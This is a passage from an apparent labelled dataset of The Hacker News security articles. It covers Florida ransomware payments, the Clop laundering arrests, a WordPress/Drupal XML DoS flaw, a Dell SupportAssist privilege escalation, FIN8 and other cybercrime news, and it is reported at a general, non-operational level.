""Microsoft is committed to protecting the security of your personal information. We use a variety of security technologies and procedures to help protect your personal information from unauthorized access, use, or disclosure. For people using the Outlook.com app for Android, applications run in sandboxes where the operating system protects customers' data. Additionally, customers who wish to encrypt their email can go through their phone settings and encrypt the SD card data. Please see Microsoft's online privacy policy for more information."" Microsoft said in a statement to The Hacker News.

",Vulnerability
Two Florida Cities Paid $1.1 Million to Ransomware Hackers This Month,https://thehackernews.com/2019/06/florida-ransomware-attack.html,"In the last two weeks, Florida has paid more than $1.1 million in bitcoin to cybercriminals to recover encrypted files from two separate ransomware attacks—one against Riviera Beach and the other against Lake City.

Lake City, a city in northern Florida, agreed on Monday to pay hackers 42 Bitcoin (equivalent to $573,300 at the current value) to unlock phone and email systems following a ransomware attack that crippled its computer systems for two weeks.

The ransomware attack, dubbed ""Triple Threat"" since it combines three different methods of attack to target network systems, infected Lake City systems on June 10 after an employee in city hall opened a malicious email.

Though the IT staff disconnected computers within just 10 minutes of the cyber attack starting, it was too late. The attack locked down the city workers' email accounts and servers.

Since the police and fire departments operate on a different server, they were the only ones not impacted by the attack. While other Lake City networks are currently disabled, Public Safety services remain unaffected by this attack.

The unknown hackers contacted the city's insurer and negotiated ransom payment of 42 bitcoins, currently $573,300. Lake City officials voted on Monday to pay the ransom to regain access to their important files.

The ransom payment would be mostly covered by insurance, although $10,000 would be incurred by taxpayers.

""Our systems are shut down, but there is no evidence to indicate any sensitive data has been compromised. All customer service payment data, such as credit card data, is stored off-site by third-party vendors and would not have been accessed by an attack like this on our network,"" said City Information Technology Director Brian Hawkins.

Lake City is the second city in Florida recently being hit by a ransomware attack.

Riviera Beach, another city in Florida, became a victim of a ransomware attack on May 29 after a city employee clicked on a malicious link in an email, according to local media reports.

The ransomware attack crippled the city's computer systems for at least three weeks after which the Riviera Beach City Council authorized the city's insurer to pay a ransom of 65 Bitcoin ($897,650 at today's value) to regain access to their locked systems.

Federal authorities and cybersecurity experts have always advised victims not to pay ransoms since it encourages cybercriminals, and also there's no guarantee of your files or computer systems being completely restored.

Instead of paying hackers a ransom, organisations, and companies should have robust backups of their important and required files and data as well as educate their employees to avoid being a victim of any cyber attack.
",Cyber_Attack
Clop Gang Partners Laundered $500 Million in Ransomware Payments,https://thehackernews.com/2021/06/clop-gang-members-laundered-500-million.html,"The cybercrime ring that was apprehended last week in connection with Clop (aka Cl0p) ransomware attacks against dozens of companies in the last few months helped launder money totaling $500 million for several malicious actors through a plethora of illegal activities.
""The group — also known as FANCYCAT — has been running multiple criminal activities: distributing cyber attacks; operating a high-risk exchanger; and laundering money from dark web operations and high-profile cyber attacks such as Cl0p and Petya ransomware,"" popular cryptocurrency exchange Binance said Thursday.
On June 16, the Ukraine Cyber Police nabbed six individuals in the city of Kyiv, describing the arrests as resulting from an international operation involving law enforcement authorities from Korea, the U.S., and Interpol.
While the bust was seen as a major blow to the operations of the Clop gang, the hackers published earlier this week a fresh batch of confidential employee records stolen from a previously unknown victim on their dark web portal, raising the possibility that the arrested suspects may have been affiliates who play a lesser role in the operations.
Binance's insights into the investigation have now revealed that FANCYCAT was responsible for cashing out and laundering cryptocurrency illicitly obtained by the Clop ransomware cartel by breaching and extorting victims, confirming earlier reports from Intel 471.
Clop is one of several ransomware groups that hack into organizations, launch ransomware that encrypts files and servers, and then demand an extortion payment in return for a digital key needed to unlock access to the systems.
""In a majority of the cases associated with illicit blockchain flows coming onto exchanges, the exchange is not harboring the actual criminal group themselves, but rather being used as a middleman to launder stolen profits,"" security researchers from Binance said, adding the criminals take advantage of the exchanges' liquidity, diverse digital asset offerings, and well-developed APIs to facilitate cyber attacks.
To counter such nefarious activity from happening, the company said it's implementing custom detection mechanisms to identify and offboard suspicious accounts, adding it's working directly with law enforcement to take down cybercrime groups.
The development comes during a period of intense scrutiny of the risks posed by ransomware, which has ballooned from a lucrative financial crime to a national security threat, grounding critical infrastructure to a halt and causing severe disruptions, necessitating that bitcoin trails be tracked to ""follow the money"" and fight the spiraling problem.

",Malware
Hacker Arrested after Exposing Flaws in Elections Site,https://thehackernews.com/2016/05/hack-an-election.html,"A security researcher responsibly disclosed vulnerabilities in the poorly secured web domains of a Florida county elections, but he ended up in handcuffs on criminal hacking charges and jailed for six hours Wednesday.

Security researcher David Michael Levin, 31, of Estero, Florida was charged with three counts of gaining unauthorized access to a computer, network, or electronic instrument.

On 19 December last year, Levin tested the security of Lee County website and found a critical SQL injection vulnerability in it, which allowed him to access site's database, including username and password.

Levin was reportedly using a free SQL testing software called Havij for testing SQL vulnerabilities on the state elections website.

According to Levin, he responsibly reported vulnerabilities to the respective authorities and helped them to patch all loopholes in the elections website.

Video Demonstration of the Elections Website Hack
Meanwhile, Levin demonstrates his finding via an interview, but he published that video interview on YouTube in late January when authorities had already patched the reported flaws.

Levin recorded the video together with Dan Sinclair, detailing how a simple SQL injection launched against the election website led to the theft of data from the Elections' database that had no encryption at all.

As proof of concept, Levin showed him entering the username and password of Sharon Harrington, the county's Supervisor of Elections, that allowed him to gain control of a content management system (CMS) used to control the official website of Florida's Office of Elections.

However, this video was misunderstood and used as an evidence by the Florida Department of Law Enforcement officials to backfire Levin.

Almost two weeks after the video was posted on YouTube, Florida police raided Levin's house and seized his computers.

Levin was arrested and charged with allegedly breaking into a couple of elections websites in Florida. He spent six hours in jail last Wednesday before being released on a $15,000 bond, the Florida Department of Law Enforcement officials said.

Though Florida Police claimed Levin never asked for permission prior to performing his penetration testing on any state-owned server, Sinclair said that Levin was the one who helped the authority fix the security holes in the website.
""He took usernames and passwords from the Lee County website and gained further access to areas that were password-protected,"" FDLE Special Agent Larry Long told the Herald Times. ""The state statute is pretty clear. You need to have authorization before you can do that.""
However, Sinclair reached out to The Hacker News, revealing that Mr. Levin contacted the authorities while performing his research.
""The FDLE came to Dave, and then to me about the case,"" Sinclair said. ""We believed they were investigating the holes in the servers and the Gross Negligence. We both gave them the only information they have now that is accurate. While interviewing me, and Agent Chris Tissot kept cutting me off when I answered his questions.""
""I quickly realized Tissot was not investigating any of the claims. His sole goal was to find an obscure law they could hit Dave with, to discredit the information Dave went public with (after he helped them fix the holes).""
At this point it seems that federal agents are not adequately investigating the matter, rather they are trying to prove Levin culprit in this whole event.

",Data_Breaches
Millions of WordPress and Drupal Websites Vulnerable to DoS Attack,https://thehackernews.com/2014/08/millions-of-wordpress-and-drupal.html,"Users running the website on a self-hosted WordPress or on Drupal are strongly recommended to update their websites to the latest version immediately.

A moderately critical vulnerability was discovered in the way Drupal and WordPress implement XMLRPC, which can lead an attacker to disable your website via a method known as Denial of Service (DoS).

VULNERABILITY RESULTS IN DoS ATTACK
The latest update of WordPress 3.9.2 mainly addresses an issue in the PHP's XML processor that could be exploited to trigger a DoS (denial of service) attack. The vulnerability affects all previous versions of WordPress.

The XML vulnerability was first reported by Nir Goldshlager, a security researcher from Salesforce.com's product security team, that impacts both the popular website platforms. The issue was later fixed by Michael Adams and Andrew Nacin of the WordPress security team and David Rothstein of the Drupal security team.

ATTACK MAKES YOUR WEBSITE COMPLETELY INACCESSIBLE
The vulnerability makes use of a well-known cyber attack, XML Quadratic Blowup Attack. When executed, it has the capability to take down the whole website or server almost instantly, with the use of only a single machine.

The XML vulnerability can cause complete CPU and memory exhaustion and the site's database to reach the maximum number of open connections, and as a result, the vulnerable site and server become unavailable for a period of time, hence affecting Availability of your website.

In short, when the vulnerability is exploited, your website and web server can become totally inaccessible.

WORDPRESS AND DRUPAL USED BY MILLIONS OF WEBSITES
The issue is actually serious because WordPress and Drupal is being used by millions of websites. The recent statistics from the World Wide Web Consortium (WC3) says that WordPress alone powers nearly 23% of the web, and over one million websites used by Drupal.

WordPress is a free and open source blogging tool and a content management system (CMS) with more than 30,000 plugins, each of which offers custom functions and features enabling users to tailor their sites to their specific needs, therefore it is easy to setup and use, that's why tens of millions of websites across the world opt it.

HOW EXPLOIT WORKS
As explained earlier, the XML vulnerability makes use of an XML Quadratic Blowup Attack, which is almost similar to a 'Billion Laughs attack' that allows a very small XML document to completely disrupt the services on machine in a matter of seconds.

The XML Quadratic Blowup Attack exploits the use of entity expansion, instead of using nested entities inside an XML document, it replicates one large entity with tens of thousands of characters over and over again.

In this type of attack, a medium-sized XML document of nearly two hundred kilobytes in size could require within the range of hundreds of megabytes to several gigabytes of memory. That if exploited by an attacker, could easily bring down an entire website or web server.
""If an attacker defines the entity ""&x;"" as 55,000 characters long, and refers to that entity 55,000 times inside the ""DoS"" element, the parser ends up with an XML Quadratic Blowup attack payload slightly over 200 KB in size that expands to 2.5 GB when parsed. This expansion is enough to take down the parsing process,"" Nir Goldshlager wrote in his blog.
VIDEO DEMONSTRATION
Goldshlager has also provided a video demonstration as a proof-of-concept to the WordPress Denial of Service attack.
UPDATE NOW
The XML vulnerability is present in WordPress versions 3.5 to 3.9.1 (the latest version) and works on the default installation. The same vulnerability affects Drupal versions 6.x to 7.x (the current version) and also works on the default installation.

Both WordPress and Drupal have released an update today to address this problem and all users should upgrade to the latest version as soon as possible.

WordPress 3.7 introduced automatic updates which allows security patches, such as this one, to get rolled out to users automatically.

",Vulnerability
Security Flaw in Pre-Installed Dell Support Software Affects Million of Computers,https://thehackernews.com/2019/06/dells-supportassist-hacking.html,"Dell's SupportAssist utility that comes pre-installed on millions of Dell laptops and PCs contains a security vulnerability that could allow malicious software or rogue logged-in users to escalate their privileges to administrator-level and access sensitive information.

Discovered by security researchers at SafeBreach Labs, the vulnerability, identified as CVE-2019-12280, is a privilege-escalation issue and affects Dell's SupportAssist application for business PCs (version 2.0) and home PCs (version 3.2.1 and all prior versions).

Dell SupportAssist, formerly known as Dell System Detect, checks the health of your system's hardware and software, alerting customers to take appropriate action to resolve them. To do so, it runs on your computer with SYSTEM-level permissions.

With this high-level privileges, the utility interacts with the Dell Support website and automatically detects Service Tag or Express Service Code of your Dell product, scans the existing device drivers and installs missing or available driver updates, along with performing hardware diagnostic tests.

However, researchers at SafeBreach Labs discovered that the software insecurely loads .dll files from user-controlled folders when run, leaving a spot for malware and rogue logged-in users to corrupt existing DLLs or replace them with malicious ones.
Therefore, when SupportAssist loads those tainted DLLs, malicious code gets injected into the program and executed within the context of an administrator, thus easily allowing the attacker to gain complete control of a targeted system.

""According to Dell's website, SupportAssist is pre-installed on most of Dell devices running Windows. This means that as long as the software is not patched, the vulnerability affects millions of Dell PC users,"" the researchers say.

What's worrisome? Researchers believe that Dell is not the only company whose PCs are impacted by this particular security issue.

Since Dell SupportAssist is written and maintained by Nevada-based diagnostics and customer support firm PC-Doctor, other PC makers that bundle the same diagnostic and troubleshooting tools into their own computers with different names may also be vulnerable.

""After SafeBreach Labs sent the details to Dell, we discovered that this vulnerability affects additional OEMs which use a rebranded version of the PC-Doctor Toolbox for Windows software components,"" the researchers say.

Also, according to the PC-Doctor website, PC makers have ""pre-installed over 100 million copies of PC-Doctor for Windows on computer systems worldwide,"" which means the flaw also affects other OEMs that rely on PC-Doctor for specialized troubleshooting tools.

Since Dell's SupportAssist software use a signed driver by PC-Doctor to access low-level memory and hardware, researchers demonstrated this vulnerability to read the content of an arbitrary physical memory address as a proof-of-concept.

SafeBreach Labs reported the vulnerability to Dell on 29th April 2019, and the company then reported the issue to PC Doctor and released fixes provided by PC-Doctor on 28th May for affected SupportAssist versions.

Dell Business and home PC users are recommended to update their software to Dell SupportAssist for Business PCs version 2.0.1 and Dell SupportAssist for Home PCs version 3.2.2 respectively.

It's not the first time when Dell SupportAssist has been found affected by a severe security vulnerability.

In April this year, Dell also addressed a critical remote code execution vulnerability in the utility that would have allowed remote attackers to download and install malware from a remote server on affected Dell computers and take full control over them.

",Vulnerability
"Several Malicious Android apps found on Google Play affects 25,000 devices",https://thehackernews.com/2013/08/Android-hacking-apps-download-malware-tool.html,"As time goes on, though, the Malware Risk on Mobile Platforms appears to be increasing. A flood of scammy apps that are difficult for Google to detect, and therefore stays available for download for several days before being removed.
The Russia-based firm Dr Web today said it has discovered several malicious Android apps found on Google Play which send SMS to premium numbers and about 25,000 devices are infected by these malwares.

A number of malicious programs have been discovered by Dr Web's analysts belong to the Vietnamese developer AppStoreJsc. These programs are published in the form of audio players and a video player that generally display adult content.

Dr Web explains, ""While running these carrier applications, dubbed Android.MulDrop, Android.MulDrop.1, and Android.MulDrop.2 by Dr.Web, can prompt the user to download the content they need, but their consent initiates the installation of another application rather than the downloading of files. For example, the video player program offers to get the user new adult clips.""

Dr Web promptly notified Google about the incident. With a larger and larger percentage of the mobile operating system market share, Android is starting to become more and more attractive to programmers and hackers alike.

Cyber Criminals generally take genuine apps, insert the malicious software, and sell them in the app store for free or at a discount. Android phones are more susceptible than iPhones because their app stores are more open.

A majority of the malicious apps sign users up to expensive premium services, charging huge amounts to send or receive text messages According to a report, by the end of the year, there's expected to be over a million malicious apps.

",Malware
M86 Security detected Web exploitation attacks using AJAX,https://thehackernews.com/2012/01/m86-security-detected-web-exploitation.html,"M86 Security detected Web exploitation attacks using AJAX
Security researchers from Web filtering vendor M86 Security have detected Web exploitation attacks that use AJAX to fragment the payload into small pieces of code that are harder to detect by antivirus programs and intrusion prevention systems. The attack starts on a page that contains an unsuspicious piece of JavaScript code that is similar to that commonly found on legitimate AJAX-using websites.

This code is responsible for fetching the payload in multiple chunks and assembling it back together on the client before executing it. Different pages found by M86 on the attack server exploited vulnerabilities in unpatched versions of Flash Player and Internet Explorer.

Bogdan Botezatu, an e-threats analyst at antivirus vendor BitDefender said ""This attack scenario definitely has its advantages: by passing the payload in several distinct chunks, the offending packets would likely avoid interception as they pass through the firewall"".

Read More

",Vulnerability
9 million PCs infected with ZeroAccess botnet,https://thehackernews.com/2012/09/9-million-pcs-infected-with-zeroaccess.html,"In recent months, we've seen the rootkit family Win32/Sirefef and Win64/Sirefef (also known as ZeroAccess Botnet) update its command and control protocol and grow to infect more computers while connecting to over one million computers globally.

Before, disclosed that it creates its own hidden partition on the hard drive and uses hidden alternative data streams to hide and thrive. Then ZeroAccess developer changed infection tactics and stopped using kernel-mode components in the latest version Security firms tracked the growth of x64 version infections. But Recently uncovered by SophosLabs that ZeroAccess botnet took a major shift in strategy and operating entirely in user-mode memory.

There are two distinct ZeroAccess botnets, and each has a 32-bit version and a 64-bit version, numbering four botnets in total. Each botnet is self-contained because it communicates exclusively on a particular port number hard-coded into the bot executable. The botnets can be categorised based on their port numbers. Ports 16464 and 16465 are used by the 32-bit and 64-bit versions of one botnet; ports 16470 and 16471 are used by the 64-bit and 32-bit versions of the other botnet.

They also disclose the ZeroAccess has been installed on computers over nine million times with the current number of active infected PCs numbering around one million.

The current size of the botnet is somewhere in the region of 9 million machines spread throughout the world, but with the majority located in the U.S.

Other than U.S other top infected countries are :
Brazil
Japan
Romania
Argentina
Venezuela
Chile

The ZeroAccess botnet currently creates two primary revenue streams: click fraud and Bitcoin mining. Click fraud and Bitcoin mining can earn the botnet owners a potential $100,000 a day. ""The traffic generated by the ad-click fraud can burn through your bandwidth cap. We have been following a number of bots such as ZeroAccess whose primary function is ad-click fraud. These bots receive instructions from a controller directing them to click on ads on specific web sites. The web site owner gets paid by the advertiser on a per click basis usually through the intermediary of an ad network. The advertisers and ad network operator have a number of safeguards in place to protect against click fraud,"" the report said.

The ZeroAccess botnet not only makes large amounts of money for its owners but it also causes significant damage and loss in a variety of ways to a variety of individuals and entities. Various aspects of ZeroAccess' operation consume considerable bandwidth. This is 1,227,300 bytes per hour, 29,455,200 per day and 895,929,000 bytes per month. 895 MB per month per bot means a botnet with 1 million nodes could be producing as much as 895,000,000 MB or 895 Terabytes of network traffic per month. And all of this occurs before any files are actually downloaded using the protocol.

The peer-to-peer protocol used by the latest version of ZeroAccess contains only a few commands and is designed to spread files and IP addresses across the network quickly. It is encrypted to avoid easy detection and there are a number of measures taken to avoid the network being poisoned or taken over. This generally held at around 150,000 new installations per day, with a noticeable drop at the end of August.

",Cyber_Attack
#opIsrael - Hackers hit Israel with mass Cyber Attack over Gaza,https://thehackernews.com/2012/11/opisrael-hackers-hit-israel-with-mass.html,"Protesting against attacks taking place on Gaza, Anonymous hackers attempts to hack most of the Israel websites in the past few days. ""government and private websites are under siege from hackers, who have mounted 44 million cyberattacks in less than a week"", the government said.
Today Pakistani Hackers also deface Israeli Bing, MSN, Skype, Live and other big sites and In counter-attack Israeli Hackers Leak Credit Card Data from Palestine ISP website.

Finance Minister Yuval Steinitz said just one hacking attempt was successful on a site he did not want to name, but it was up and running after 10 minutes of downtime.

Israel said that it generally experiences a few hundred hacking attempts per day. The attacks are reportedly coming from around the world.

Defence force sites have been the hardest hit, while the president's site has been hit 10-million times, the foreign ministry seven-million times and the prime minister three-million times.

Both sides have been active on social media, with the Israeli Defence Force (IDF) going so far as to live blog some of its manoeuvres on Palestine. Combatants and civilians in Palestine meanwhile have been more active on Twitter, receiving support from hacker collective Anonymous.

Among the group's other high-profile targets were the websites of Israel's Kadima Party, which was taken offline shortly after being hacked, and Bank of Jerusalem. Most of the sites that were hacked appeared to be unavailable, but others displayed pro-Palestinian images and messages.

",Cyber_Attack
FIN8 Hackers Return With More Powerful Version of BADHATCH PoS Malware,https://thehackernews.com/2021/03/fin8-hackers-return-with-more-powerful.html,"Threat actors known for keeping a low profile do so by ceasing operations for prolonged periods in between to evade attracting any attention as well as constantly refining their toolsets to fly below the radar of many detection technologies.
One such group is FIN8, a financially motivated threat actor that's back in action after a year-and-a-half hiatus with a powerful version of a backdoor with upgraded capabilities including screen capturing, proxy tunneling, credential theft, and fileless execution.
First documented in 2016 by FireEye, FIN8 is known for its attacks against the retail, hospitality, and entertainment industries while making use of a wide array of techniques such as spear-phishing and malicious tools like PUNCHTRACK and BADHATCH to steal payment card data from point-of-sale (POS) systems.
""The FIN8 group is known for taking long breaks to improve TTPs and increase their rate of success,"" Bitdefender researchers said in a report published today. ""The BADHATCH malware is a mature, highly advanced backdoor that uses several evasion and defense techniques. The new backdoor also attempts to evade security monitoring by using TLS encryption to conceal Powershell commands.""
BADHATCH, since its discovery in 2019, has been deployed as an implant capable of running attacker-supplied commands retrieved from a remote server, in addition to injecting malicious DLLs in a current process, gathering system information, and exfiltrating data to the server.
Noting that at least three different variants of the backdoor (v2.12 to 2.14) have been spotted since April 2020, the researchers said the latest version of BADHATCH abuses a legitimate service called sslp.io to thwart detection during the deployment process, using it to download a PowerShell script, which in turn executes the shellcode containing the BADHATCH DLL.
The PowerShell script, besides taking responsibility for achieving persistence, also takes care of privilege escalation to ensure that all commands post the script's execution are run as the SYSTEM user.
Furthermore, a second evasion technique adopted by FIN8 involves passing off communications with the command-and-control (C2) server that masquerade as legitimate HTTP requests.
According to Bitdefender, the new wave of attacks is said to have taken place over the past year and directed against insurance, retail, technology, and chemical industries in the U.S., Canada, South Africa, Puerto Rico, Panama, and Italy.
""Like most persistent and skilled cyber-crime actors, FIN8 operators are constantly refining their tools and tactics to avoid detection,"" the researchers concluded, urging businesses to ""separate the POS network from the ones used by employees or guests"" and filter out emails containing malicious or suspicious attachments.

",Cyber_Attack
Russian Hacker Pleads Guilty to Developing and Distributing Citadel Trojan,https://thehackernews.com/2017/03/citadel-trojan-hacker.html,"A Russian man accused of developing and distributing the Citadel Banking Trojan, which infected nearly 11 Million computers globally and caused over $500 Million in losses, has finally pleaded guilty to charges of computer fraud.

Mark Vartanyan, 29, who was very well known as ""Kolypto,"" pleaded guilty in an Atlanta courtroom on Monday to charges related to computer fraud and is now co-operating with federal prosecutors in return for a reduced sentence of no more than five years in prison.

Vartanyan, a native of Moscow, was arrested in Norway in October 2014 and extradited to the United States in December last year. He was involved in the development, improvement, maintenance and distribution of the nasty Citadel Trojan.
""This successful extradition is yet another example of how cooperation among international law enforcement partners can be used to disrupt and dismantle global cyber syndicates,"" said U.S. Attorney John Horn.
""This defendant's alleged role in developing and improving Citadel for its use by cyber criminals caused a vast amount of financial harm to individuals and institutions around the world. His appearance in federal court today shows that cyber criminals cannot hide in the shadows of the Internet. We will identify them and bring them to justice wherever they operate.""
Initially developed in 2011, Citadel Trojan – a variant of the Zeus banking Trojan – was designed to infect computer systems and steal online banking credentials and other financial information by masquerading itself as legitimate banking sites.

The offensive threat affected over 11 Million computers in at least 90 countries and estimated to have cost $500 million in losses over a three-year period.

Citadel also introduced a business model that enabled online users to solicit their feedback and then incorporate those functionalities and tweaks in the product, making the malware gain widespread popularity. It was one of the first examples of malware-as–a-service (MaaS).

Sold for up to $2,500, Citadel received regular automated updates, just like with the development of legitimate software programs, to enable the malware to avoid detection by antivirus products and other signature-based security controls.

But eventually, Citadel's source code was leaked in 2013, which helped the antivirus firms to identify and block the threat.

Vartanyan was one of many people who was involved in the development and distribution of the Citadel malware.

Another Russian hacker Dimitry Belorossov, 22, aka Rainerfox, was also arrested in September 2015 and sentenced to four years and six months in prison after pleading guilty to charges related to the distribution of Citadel and infecting over 7,000 infected machines.

Vartanyan is scheduled to be sentenced on 21 June 2017.

Despite the two arrests, the US Department of Justice (DoJ) said its investigation into the creator of Citadel malware is still ongoing, indicating that further arrests may be made.

",Malware
Hacker finds flaws that could let anyone steal $25 Billion from a Bank,https://thehackernews.com/2016/05/indian-bank-hacking.html,"A security researcher could have stolen as much as $25 Billion from one of the India's biggest banks ‒ Thanks to the bank's vulnerable mobile application.

Late last year, security researcher Sathya Prakash discovered a number of critical vulnerabilities in the mobile banking application of an undisclosed bank that allowed him to steal money from any or all bank customers with the help of just a few lines of code.

Being a white hat hacker, Prakash immediately reached out to the bank and alerted it about the critical issues in its mobile app and helped the bank fix them, instead of taking advantage of the security holes to steal money from the bank that has about 25 Billion USD in Deposits.

While analyzing the mobile banking app, Prakash discovered that the app lacks Certificate Pinning, allowing any man-in-the-middle attacker to downgrade SSL connection and capture requests in plain text using fraudulently issued certificates.

Also Read: Best Password Manager — For Windows, Linux, Mac, Android, iOS and Enterprise

Besides this, Prakash also found that the mobile banking app had insecure login session architecture, allowing an attacker to perform critical actions on the behalf of targeted account holder without knowing the login password, like seeing victim's current account balance and deposits, as well as to add a new beneficiary and making illegal transfers.
""So invoking the fund transfer API call directly via CURL, bypassed the receiver/beneficiary account validation. I was able to transfer money to accounts that weren't on my beneficiary list,"" Prakash wrote in his blog post.

""It was a matter of 5 lines of code [exploit] to enumerate the bank's customer records (Current Account Balance, and Deposits).""

Stealing Money from Anyone Else's Account
If this wasn't enough, Prakash discovered that the app did not check to see if the given customer ID or Transaction Authorisation PIN (MTPIN) ‒ used for critical controls like transferring funds, creating a new fixed deposit ‒ actually belong to the sender's account.

This blunder in the mobile banking app could have allowed anyone with the app and an account in the bank to transfer money from someone else's account, reported by Motherboard.
""I tested [the hack] with a bunch of accounts belonging to my family. Few of those accounts don't even have net banking or mobile banking activated,"" Prakash added. ""And it all worked like a charm.""
However, instead of taking advantage of these bugs, Prakash responsibly emailed the bank on November 13, 2015, and within few days, bank's deputy general manager informed him that the security flaws had been fixed, without rewarding him with a bug bounty, that's unfair.

",Vulnerability
Nearly Half of the Norway Population Exposed in HealthCare Data Breach,https://thehackernews.com/2018/01/healthcare-data-breach.html,"Cybercriminals have stolen a massive trove of Norway's healthcare data in a recent data breach, which likely impacts more than half of the nation's population.

An unknown hacker or group of hackers managed to breach the systems of Health South-East Regional Health Authority (RHF) and reportedly stolen personal info and health records of some 2.9 million Norwegians out of the country's total 5.2 million inhabitants.

Health South-East RHA is a healthcare organisation that manages hospitals in Norway's southeast region, including Østfold, Akershus, Oslo, Hedmark, Oppland, Buskerud, Vestfold, Telemark, Aust-Agder and Vest-Agder.

The healthcare organisation announced the data breach on Monday after it had been alerted by HelseCERT, the Norwegian CERT department for its healthcare sector, about an ""abnormal activity"" against computer systems in the region.

HelseCERT also said the culprits behind the data breach are ""advanced and professional"" hackers, although it is still unknown as to whether they were managed to exfiltrate data successfully and if so, how many people may have been impacted.

So far there's also no evidence if the stolen data theft has had any consequences for or effects on patients' safety. However, the healthcare organisation assured that security ""measures had been taken to limit the damage caused by the burglary.""

""We are in a phase where we try to get an overview. It's far too early to say how big the attack is. We are working to acquire knowledge of all aspects, "" NorCERT director Kjetil Nilsen told Norwegian publication VG.

""Everything indicates that it is an advanced player who has the tools and ability to perform such an attack. It can be advanced criminals. There is a wide range of possibilities.""

Why Do Hackers Want Your Health Data?

Digital healthcare has been growing to satisfy the demands of connected healthcare technology that provides better treatment and improved patient care.

We know that any organisation with a computer is at risk from cyber-attacks both from criminals wanting to extort money and state-sponsored hackers wanting to cause chaos.

Since the healthcare sector is part of the critical national infrastructure, alongside water, electricity and transport, it becomes an attractive target for hackers.

Believe it or not, your medical records are worth more to hackers than your stolen credit card details on the dark web markets.

Financial data has a finite lifespan, but the information contained in health care records—which includes names, birth dates, policy numbers, diagnosis codes, social security number and billing information—has a much longer shelf life and is rich enough for identity theft.

Fraudsters can use this data to create fake identities to do all illegal kinds of stuff in your name, combine a patient number with a false provider number and file fake claims with insurers, and even file fake tax returns using your stolen addresses, phone numbers and employment history.

How to Protect Yourself After a Data Breach?

If you are a one of those affected by the healthcare breach, you will have to remain vigilant against fraud for the rest of your lives, because the risk of identity theft isn't short term, unlike in case of credit cards fraud.

You may follow the following steps to protect yourself:

1) Monitor Your Accounts: Watch out if someone using your information do not ever try to take over or transfer money out of your existing accounts. Don't forget that thieves with stolen details on you can get through your security questions, including the last four digits of your social and street address. Also, watch for any unauthorised activity or transfers on your current financial accounts.

2) File Your Taxes Early: With the stolen information in the hands, cyber thieves could hook your tax refund by filing your taxes early and claiming it for themselves. So, to avoid any such problems, file your taxes as early as possible.

3) Stay Vigilant: The foremost thing to protect against any breach is to stay vigilant, as nobody knows when or where your stolen identities will be used. So, affected consumers will simply have to stay mindful forever.

",Cyber_Attack
Recently Patched Adobe Flash Versions Hit by Another Zero-day Exploit,https://thehackernews.com/2015/10/flash-player-exploit.html,"Does Adobe Flash, the standard that animated the early Web, needs to Die?

Unfortunately, Yes.

Despite Adobe's best efforts, Flash is not safe anymore for Internet security, as a recent zero-day Flash exploit has been identified.

Just Yesterday Adobe released its monthly patch update that addressed a total of 69 critical vulnerabilities in Reader, Acrobat, including 13 critical patches for Flash Player.

Now today, Security researchers have disclosed a new zero-day vulnerability in fully patched versions of Adobe Flash, which is currently being exploited in the wild by a Russian state-sponsored hacking groups, named ""Pawn Storm"".

NO Patch For Latest Flash Exploit
That means, even users with an entirely up-to-date installation (versions 19.0.0.185 and 19.0.0.207) of the Flash software are also vulnerable to the latest zero-day exploit.

Luckily, for the time being, this exploit is only being used against Government agencies and several foreign affairs ministries from around the globe.

However, now, when the zero-day vulnerability is publicly known to everyone, hackers could exploit it to target innocent Flash Player users too.

Adobe has been notified of latest discovery and researchers are also working with them to address this flaw.

Readers are advised to disable or completely uninstall Adobe Flash Player immediately.

""OYE Flash! Enough is Enough"", said The Internet
Adobe Flash Player is dead and its time has passed. In January this year, YouTube moved away from Flash for delivering videos.

In between, Flash made an effort to beef up its security in an effort to justify its existence.

However, things got a bit heated when Firefox became aware of a critical security flaw and blocked the Flash plugin entirely.

Facebook's Security Chief publicly called for Adobe to announce a kill-date for Flash and Google Chrome has also begun blocking auto-playing Flash ads by default.

",Vulnerability
Companies Could Face $22 Million Fine If They Fail to Protect Against Hackers,https://thehackernews.com/2017/08/data-breach-security-law.html,"Over the past few years, massive data breaches have become more frequent and so common that pretty much every week we heard about some organisation being hacked or hacker dumping tens of millions of users records.

But even after this wide range of data breach incidents, many organisations fail to grasp the importance of data protection, leaving its users' sensitive data vulnerable to hackers and cyber criminals.

Not now! At least for organisations in Britain, as the UK government has committed to updating and strengthening its data protection laws through a new Data Protection Bill.

The British government has warned businesses that if they fail to take measures to protect themselves adequately from cyber attacks, they could face fines of up to £17 Million (more than $22 Million), or 4% of their global turnover—whichever amount is higher.

However, the financial penalties would be a last resort, and will not be applied to those organisations taking proper security measures and assessing the risks adequately, but unfortunately become a victim of cyber attack.

The penalties would be issued by the data protection regulator, the Information Commissioner's Office (ICO).

""Our measures are designed to support businesses in their use of data and give consumers the confidence that their data is protected and those who misuse it will be held to account,"" Digital Minister Matt Hancock said in a government press release.

Hancock said this newly-proposed Data Protection Bill would:

Make it easier and simpler to withdraw consent for the use of personal data
Allow people to ask for their personal information held by organisations to be erased
Enable parents to give consent for their child's data to be used
Require ""explicit"" consent to be necessary for processing user's sensitive data
Expand the definition of ""personal data"" to include IP addresses, DNA and internet cookies
Strengthen and update Data Protection Law to reflect the changing nature and scope of the country's digital economy
Make it easier and free for users to require companies to disclose the personal data they hold on them
Make it easier for users to move data between service providers

The proposal is being considered as part of a government consultation launched on Tuesday by the Department for Digital, Culture, Media and Sport for deciding how to implement the Network and Information Systems (NIS) Directive from next May.

This is separate from the General Data Protection Regulations (GDPR) that are aimed at protecting data rather than services.

The GDPR will replace the British Data Protection Act 1998 from 25 May 2018 and the government have confirmed that Brexit will not change this.

This new proposal is mainly focused on ensuring critical infrastructures, like transport, health, energy, and water are protected from cyber attacks that could result in major disruption to services, as was seen in Ukraine last year.

The proposal will also cover other cyber threats affecting IT infrastructures such as power failures, hardware failures and environmental hazards.

The move comes after the British NHS ( National Health Service) became the highest-profile victim of the recent WannaCry ransomware attack, which resulted in the shutdown of hospitals and operations, patient records being made unavailable and ambulances being diverted.

",Data_Breaches
This Ransomware Unlocks Your Files For Free If You Infect Others,https://thehackernews.com/2016/12/ransomware-malware.html,"Is your PC infected with Ransomware? Either pay the ransom amount to the attacker or spread the infection further to get the decryption keys.

Yes, this new technique has been employed by cyber criminals with the latest round of ransomware threat, dubbed Popcorn Time.

Initially discovered by MalwareHunterTeam, the new Popcorn Time Ransomware has been designed to give the victim's a criminal way of getting a free decryption key for their encrypted files and folders.

Popcorn Time works similar to other popular ransomware threats, such as the Crysis Ransomware and TeslaCrypt, that encrypt various data stored on the infected computer and ask victims to pay a ransom amount to recover their data.

